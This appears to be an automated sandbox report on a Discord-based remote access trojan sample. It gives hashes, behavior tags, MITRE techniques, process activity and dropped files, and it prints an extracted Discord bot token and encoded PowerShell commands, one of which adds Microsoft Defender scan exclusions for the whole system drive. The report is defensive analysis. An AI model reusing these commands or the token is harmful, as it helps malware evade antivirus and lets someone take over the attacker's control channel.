discordrat | 1e5a4524dab6f1e4125043a7cdcfb6874c32a0514941ec4a90211f53efeef058

General

Target

CODEX17.exe
Size

307KB
MD5

53cc7337eed07bbbe0172f0b64bc6245
SHA1

9b0ac7e0eaffdb6ed8af1501939f40bd798f6be0
SHA256

1e5a4524dab6f1e4125043a7cdcfb6874c32a0514941ec4a90211f53efeef058
SHA512

ff2ec069d7877fdc646dfaaba4d9525ef71c04c93936accdd1bc1bfe9ab873ab27cceb9c2d34d25f3b3e6d4e6bb4ece707b797d2f5672d73583e21a361fb333d
SSDEEP

6144:m2EUicOFEG3AFDmDbpM6/XETGNNjyhRJNJC32XENQ8NvN:m2rOXTfpNg+

Score

10^/10

discordrat defense_evasion discovery persistence rat rootkit stealer

Malware Config

Extracted

Family

discordrat

Attributes

discord_token
MTMwODQxMjQ0MjIyODk1MzIwMA.GV9W16.iYVXo71VO-dFm-6aOmZjrpuYUGqFHWVGtkvM5Q
server_id
1316071968298111026

Signatures

Discord RAT
A RAT written in C# using Discord as a C2.
stealer rootkit rat persistence discordrat
Discordrat family
discordrat

Executes dropped EXE 1 IoCs

pid	Process
2820	Client-built.exe

Loads dropped DLL 6 IoCs

pid	Process
2592	CODEX17.exe
2292	WerFault.exe
2292	WerFault.exe
2292	WerFault.exe
2292	WerFault.exe
2292	WerFault.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CODEX17.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2108	powershell.exe
2284	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2108	powershell.exe
Token: SeDebugPrivilege	2284	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2592 wrote to memory of 2108	2592	CODEX17.exe	30
PID 2592 wrote to memory of 2108	2592	CODEX17.exe	30
PID 2592 wrote to memory of 2108	2592	CODEX17.exe	30
PID 2592 wrote to memory of 2108	2592	CODEX17.exe	30
PID 2592 wrote to memory of 2284	2592	CODEX17.exe	32
PID 2592 wrote to memory of 2284	2592	CODEX17.exe	32
PID 2592 wrote to memory of 2284	2592	CODEX17.exe	32
PID 2592 wrote to memory of 2284	2592	CODEX17.exe	32
PID 2592 wrote to memory of 2820	2592	CODEX17.exe	34
PID 2592 wrote to memory of 2820	2592	CODEX17.exe	34
PID 2592 wrote to memory of 2820	2592	CODEX17.exe	34
PID 2592 wrote to memory of 2820	2592	CODEX17.exe	34
PID 2820 wrote to memory of 2292	2820	Client-built.exe	35
PID 2820 wrote to memory of 2292	2820	Client-built.exe	35
PID 2820 wrote to memory of 2292	2820	Client-built.exe	35

C:\Users\Admin\AppData\Local\Temp\CODEX17.exe
"C:\Users\Admin\AppData\Local\Temp\CODEX17.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2592
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAaABrACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGQAaABiACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcARQByAHIAbwByACcALAAnACcALAAnAE8ASwAnACwAJwBXAGEAcgBuAGkAbgBnACcAKQA8ACMAaABoAG4AIwA+AA=="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2108
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAdABiACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdQB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHQAaAB5ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGUAZQB0ACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2284
- C:\Users\Admin\AppData\Local\Temp\Client-built.exe
  "C:\Users\Admin\AppData\Local\Temp\Client-built.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2820
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 2820 -s 596
    3⤵
    - Loads dropped DLL
    PID:2292

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Client-built.exe

Filesize
78KB

MD5
eef37e61081aca867be51dab8d02c732

SHA1
b58736f3eb07dedd144e61a8e38802de1c15b947

SHA256
d74aed2a699c0ad2be01c761918ddcd5486bcf331a0a54a02bed4e073bdb39a8

SHA512
08555aeb12b54264370e1e4154a7509efe21b84fbe5aa1fd4c322b22886a149adeaa3ff7e9b1b54f9c1ccd1dcc9ae32e5702c876b9ed1b58f63a9a1c61425078

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
33be2dcdbaf814b56fcf254b98ccd4b9

SHA1
40553bd037a0afb4f247759a83424f9bf3570e39

SHA256
28f11dd0b5b11213fa68754a0f026ba6f372d9a6020d233681f993834df98aa5

SHA512
d904c4aa36423d21833e1aa9c7f8f4f3df61c4d00b611445bd219488608750c8db2b4806a6a9eb715a94d9ab5b6c33e710c3250c69e1db9d24876a275fc52718

Download Submit
memory/2108-2-0x0000000073B61000-0x0000000073B62000-memory.dmp

Filesize
4KB

Download
memory/2108-3-0x0000000073B60000-0x000000007410B000-memory.dmp

Filesize
5.7MB

Download
memory/2108-5-0x0000000073B60000-0x000000007410B000-memory.dmp

Filesize
5.7MB

Download
memory/2108-4-0x0000000073B60000-0x000000007410B000-memory.dmp

Filesize
5.7MB

Download
memory/2108-6-0x0000000073B60000-0x000000007410B000-memory.dmp

Filesize
5.7MB

Download
memory/2108-24-0x0000000073B60000-0x000000007410B000-memory.dmp

Filesize
5.7MB

Download
memory/2108-25-0x0000000073B60000-0x000000007410B000-memory.dmp

Filesize
5.7MB

Download
memory/2820-13-0x000000013FA20000-0x000000013FA38000-memory.dmp

Filesize
96KB

Download

Analysis

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